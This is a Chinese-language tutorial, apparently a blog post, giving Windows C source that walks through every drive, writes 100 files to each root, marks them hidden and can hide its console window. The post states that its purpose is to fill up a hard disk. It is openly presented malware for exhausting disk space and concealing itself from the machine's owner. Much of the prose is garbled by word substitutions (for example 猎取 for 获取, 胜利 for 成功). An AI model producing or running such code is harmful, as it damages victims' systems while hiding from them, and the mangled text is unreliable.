我们先想一想思绪:
第一步:猎取逻辑盘符
第二步:建立文件
第三步:文件写入数据
扩大请求:
一:隐蔽窗口
二:文件设置为隐蔽属性
下面我们对上述的思绪引见一个API,接受完后给出源代码
GetLogicalDriveStrings function
Fills a buffer with strings that specify valid drives in the system.
DWORD WINAPI GetLogicalDriveStrings( _In_ DWORD nBufferLength, _Out_ LPTSTR lpBuffer );
此函数是把体系内里可用的磁盘读取到lpBuffer内里
胜利则返回猎取的总长度,
失利有两个状况一个是buffer不够长,一个是其他题目
关于其他的API函数,都比较简单,有些能够从定名意义就晓得功用,在此不在引见,源码中也有解释,
下面看源代码
#include <Windows.h> int main() { //FreeConsole(); //隐蔽控制台 char strDriveStrings[MAXBYTE] = { 0 }; //猎取逻辑地点 DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4个字节示意一个盘符 { char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 }; strncpy_s(strRoot,&strDriveStrings[i], 4); strcpy_s(strTargetPath, strRoot); //建立100个文件 for (int j = 0; j < 100; j++) { char TempStrTargetPath[MAX_PATH]; strcpy_s(TempStrTargetPath, strTargetPath); char FileName[MAXBYTE]; char Date[MAXBYTE] = "11111"; wsprintf(FileName, "%d.txt", j); strcat_s(TempStrTargetPath, FileName); //建立文件 HANDLE hFile; hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) continue; DWORD Pointer; //写入数据 WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL); CloseHandle(hFile); //将s所指向的某一块内存中的前n个 字节的内容悉数设置为ch指定的ASCII值 memset(FileName, 0, sizeof(FileName)); //设置为隐蔽 SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN); } } return 0; }
把文件阅读属性设置好:
运转效果以下:
假如涌现以下题目:
修正字符集以下:
所以人人只需多搞几个文件,多搞点数据,硬盘就会被塞满
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